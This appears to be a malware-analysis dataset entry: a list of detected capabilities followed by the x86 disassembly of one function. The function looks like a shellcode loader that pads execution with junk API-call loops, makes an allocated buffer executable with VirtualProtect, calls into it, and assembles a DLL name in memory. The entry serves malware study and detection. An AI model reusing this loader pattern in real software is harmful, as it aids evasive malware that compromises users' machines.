Function at 0x45db70
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
mov eax, 0x2470
call fcn.0040f030
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharUpperBuffA]
xor esi, esi
cmp esi, 0x1e17e
jge 0x45dba6
push 0
push 0
call edi
call ebx
cmp esi, 0x1e9b1db4
jle 0x45dbc0
cmp ebp, 0xc10bd0
je 0x45dbc0
cmp dword [esp + 0x58], 0x963c600
jne 0x45dbc9
inc esi
cmp esi, 0x98f6e
jl 0x45db96
cmp dword [0x7fd6c0], 0xcf8
jne 0x45dc30
push 0
push 0
call dword [sym.imp.SHELL32.dll_DragAcceptFiles]
fldz
sub esp, 8
fstp qword [esp]
call fcn.004050c0
fstp st(0)
fldz
fstp qword [esp]
call fcn.00405290
fstp st(0)
push 0
push 0
push 0
push 0x478990
call fcn.00404d85
push 0
call fcn.0040508d
add esp, 0x1c
push 0
push 0
call fcn.00404c41
push 0
push 0
call fcn.004111a2
add esp, 0x10
push 0
call fcn.0040503b
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebp, dword [sym.imp.KERNEL32.dll_FindVolumeClose]
xor esi, esi
cmp esi, 0x408
jne 0x45dc57
mov eax, 0x5d1
add dword [0x7fd6c0], eax
cmp dword [0x7fd6c0], 3
jne 0x45dc74
push 0
call edi
push 0
push 0
call ebx
lea eax, [esp + 0x80]
push eax
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x45dc44
mov ecx, dword [0x7fd6c0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x47d724], eax
mov eax, dword [0x7fd6c0]
xor esi, esi
test eax, eax
je 0x45dd40
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
mov ebp, dword [sym.imp.KERNEL32.dll_FatalAppExitW]
cmp eax, 0xfe
jne 0x45dd0f
push 0
call edi
call ebx
xor edx, edx
lea ecx, [esp + 0x14]
push ecx
push edx
push edx
lea eax, [esp + 0x8c]
push eax
push edx
mov dword [esp + 0x2c], edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0x404664
push 0
call ebp
lea ecx, [esp + 0x2c]
xor eax, eax
push ecx
lea edx, [esp + 0x50]
push edx
push 0x4046a0
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
call fcn.0045d790
mov eax, dword [0x7fd6c0]
cmp eax, 0x29
jne 0x45dd37
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov eax, dword [0x7fd6c0]
inc esi
cmp esi, eax
jb 0x45dcb2
cmp eax, 0x70
jne 0x45ddd8
push 0
lea eax, [esp + 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x4046b0
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call esi
call esi
lea ecx, [esp + 0x14]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push 0
push 0
lea edx, [esp + 0xc88]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea eax, [esp + 0x884]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0x4046cc
push 0x4046dc
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [0x7fd6c0]
mov edi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov ebp, dword [sym.imp.KERNEL32.dll_FindClose]
mov ebx, dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov dword [esp + 0x14], 0x9682ab
cmp eax, 3
jne 0x45de12
lea ecx, [esp + 0x880]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x7fd6c0]
cmp eax, 0xdf
jne 0x45df94
push 0
push 0
push 0
call edi
push 0
call ebp
xor edx, edx
lea ecx, [esp + 0x20]
push ecx
push edx
push edx
lea eax, [esp + 0xc8c]
push eax
push edx
mov dword [esp + 0x2c], edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0
push 0
push 0
call ebx
push 0x404700
push 0x404738
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push 0
push 0
push 0
call esi
mov ecx, dword [esp + 0x20]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
push 0
lea edx, [esp + 0x884]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x24]
push eax
push 0
lea ecx, [esp + 0x34]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea edx, [esp + 0x28]
push edx
push 0x404770
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
lea ecx, [esp + 0x1484]
push ecx
push 0x4047b4
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
lea edx, [esp + 0x1c84]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x84]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x30
lea edx, [esp + 0x54]
push 0
push edx
mov dword [esp + 0x58], 0
call fcn.0040a740
add esp, 0xc
push 0
lea eax, [esp + 0x50]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov eax, dword [0x7fd6c0]
dec dword [esp + 0x14]
jne 0x45ddf8
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
nop
push 0
call edi
push 0
call ebx
dec esi
jne 0x45dfb0
mov edx, dword [0x7fd6c0]
mov eax, dword [0x47d724]
lea ecx, [esp + 0x1c]
push ecx
push 0x40
push edx
push eax
mov byte [0x478990], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0045d9e0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
jmp 0x45dff0
cmp dword [0x7fd6c0], 0xba
jne 0x45e009
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x45e01c
mov eax, 0
add dword [0x47d724], eax
inc esi
cmp esi, 0x1605a
jl 0x45dff0
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownA]
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
mov ebx, 0xf2b8b
cmp dword [0x7fd6c0], 0x21
jne 0x45e04d
push 0
call esi
push 0
push 0
push 0
push 0
call edi
dec ebx
jne 0x45e036
push 0x478990
mov dword [0x478992], 0x33676d69
mov word [0x478990], 0x736d
mov dword [0x478998], 0x6c6c64
mov word [0x478996], 0x2e32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x7fd6c0], 0xc30
jne 0x45e122
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push ebx
lea edx, [esp + 0x20]
push edx
push ebx
lea eax, [esp + 0x8c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push ebx
lea ecx, [esp + 0x1c84]
push ecx
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x30]
push ecx
lea edx, [esp + 0x28]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_RaiseException]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret